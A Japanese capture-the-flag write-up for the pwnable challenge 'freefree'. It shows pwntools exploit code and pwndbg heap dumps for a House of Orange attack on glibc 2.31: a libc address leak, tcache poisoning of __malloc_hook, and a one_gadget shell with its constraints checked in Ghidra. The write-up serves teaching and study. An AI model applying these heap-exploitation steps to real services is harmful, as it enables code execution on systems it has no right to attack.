解題 pwnable – freefree

公開日

投稿者:

カテゴリー:

タグ:

解題 pwnable – freefree より。

gdb (pwndbg) を使って heap を可視化。

House of Orange での heap の状態変化を追う。

python にて freefree を実行し gdb でアタッチする。

from pwn import *

elf = context.binary = ELF("./freefree")
p = process(elf.path)
gdb.attach(
    p,
    """
    set follow-fork-mode child
    break execve
    continue
""",
)


def malloc(var, size):
    p.sendlineafter(b"> ", f"{var}=malloc({size})".encode())


def gets(var, data):
    p.sendlineafter(b"> ", f"gets({var})".encode())
    p.sendline(data)


def puts(var):
    p.sendlineafter(b"> ", f"puts({var})".encode())
    return p.recvline()[:-1]


malloc("A", 0x10)
input("pause 1, Enter to continue.")

gets("A", b"a" * 0x18 + pack(0xD51))
input("pause 2, Enter to continue.")

malloc("B", 0xD30)
input("pause 3, Enter to continue.")

malloc("C", 0xD20)
input("pause 4, Enter to continue.")

1. libc_base のリーク

方針としては House of Orange で free した旧 Top 領域を malloc で狙って割り当て、その領域の fd (unsorted bin) を読み込むことで libc_base をリークする。

まずは chunk A を確保。# malloc(“A”, 0x10)

最初の Size 0x290 の領域は tcache とのこと。全体で 0x21000 が確保されている。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0x20d50 (with flag bits: 0x20d51)

bof により後続の top の size を上書き修正。# gets(“A”, b”a” * 0x18 + pack(0xD51))

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0xd50 (with flag bits: 0xd51)

その状態で chunk B (size: 0xD40) を確保。# malloc(“B”, 0xD30)

Top chunk が unsortedbin に入った。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0xd30 (with flag bits: 0xd31)
fd: 0x7060a781ace0
bk: 0x7060a781ace0

Allocated chunk
Addr: 0x583afdcaafe0
Size: 0x10 (with flag bits: 0x10)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaaff0
Size: 0x10 (with flag bits: 0x11)

Allocated chunk
Addr: 0x583afdcab000
Size: 0x00 (with flag bits: 0x00)

B はどこに行ったかというとこちら。オフセットでいうと +0x21000 の位置。

pwndbg> x/8x 0x583afdccb000
0x583afdccb000: 0x00000000      0x00000000      0x00000d41      0x00000000
0x583afdccb010: 0x00000000      0x00000000      0x00000000      0x00000000

さらに chunk C (size: 0xD30) を確保。# malloc(“C”, 0xD20)

旧 Top chunk を確保

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0xd30 (with flag bits: 0xd31)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaafe0
Size: 0x10 (with flag bits: 0x11)

Allocated chunk | PREV_INUSE
Addr: 0x583afdcaaff0
Size: 0x10 (with flag bits: 0x11)

Allocated chunk
Addr: 0x583afdcab000
Size: 0x00 (with flag bits: 0x00)

chunk C はもともと unsorted bins に繋がれていたため、fd: 0x7060a781ace0 が記録されている。これは main_arena から +0x60 の位置になっているため、libc-2.31 の先頭から main_arena へのオフセットが 0x1ebb80 であることを踏まえ、libc_base は以下となる。

unsort = unpack(puts('C').ljust(8, b'\0'))
libc_base = unsort - (0x1ebb80 + 0x60)

2. malloc_hook への one_gadget 書き込み

次に malloc_hook に libc-2.31 の one_gadget (0xe6aee) を書き込むことを考える。

方針としては、新たに chunk D を獲得し、その後続領域を House of Orange で free し tcache へ格納させ、さらにその後続領域の fd に該当する部分に malloc_hook のアドレスを書き込む。

そしてその後続領域を malloc で chunk F として確保すると tcache の fd が malloc_hook になるのでそれを chunk G として確保し one_gadget を書き込む。

まずは chunk D と chunk E を獲得し、その後続領域を House of Orange で tcache に格納させる。なお、glibc 2.28 以降の tcache 個数チェックを回避するため tcache が 2 つ要る。

gets("B", b"b" * 0xD38 + pack(0x2C1))
malloc("D", 0xD30)
gets("D", b"d" * 0xD38 + pack(0x2C1))
malloc("E", 0x2A0)

chunk D の後続領域 (のちの F である) に malloc_hook のアドレスを書き込む。なお、fenceposts 0x20 分を考え、サイズは 2A0 にする。

libc = ELF("libc-2.31.so")
libc.address = libc_base
gets("D", b"d" * 0xD38 + pack(0x2A1) + pack(libc.symbols.__malloc_hook))

chunk F として chunk D の後続領域を確保し、続けて chunk G として malloc_hook の実行領域を確保。

malloc("F", 0x290)
malloc("G", 0x290)

malloc_hook 実行領域に one_gadget を書き込む。

one_gadget = libc_base + 0xE6AEE
print(f"one_gadget: {hex(one_gadget)}")
gets("G", pack(one_gadget))

3. 仕上げ

最後に引っ掛かりポイントがある。libc 2.31 の one_gadget 0xe6aee には実行条件として r12 == NULL がある。

$ one_gadget libc-2.31.so
0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

ghidra で確認すると CALL variable と CALL malloc の間がこんな処理になっている。

        00001358 e8 d7 fe        CALL       variable                                         undefined variable()
                 ff ff
        0000135d 41 89 c4        MOV        R12D,EAX
        00001360 48 89 df        MOV        RDI,RBX
        00001363 e8 28 fd        CALL       <EXTERNAL>::malloc                               void * malloc(size_t __size)
                 ff ff

CALL variable の結果が RAX (EAX) に入り、それが R12D に格納されているので、variable の return 値が 0 になっていればよい。ソースコードから variable 関数の処理内容を確認し、以下である必要があることがわかる。

malloc("A", 0x10)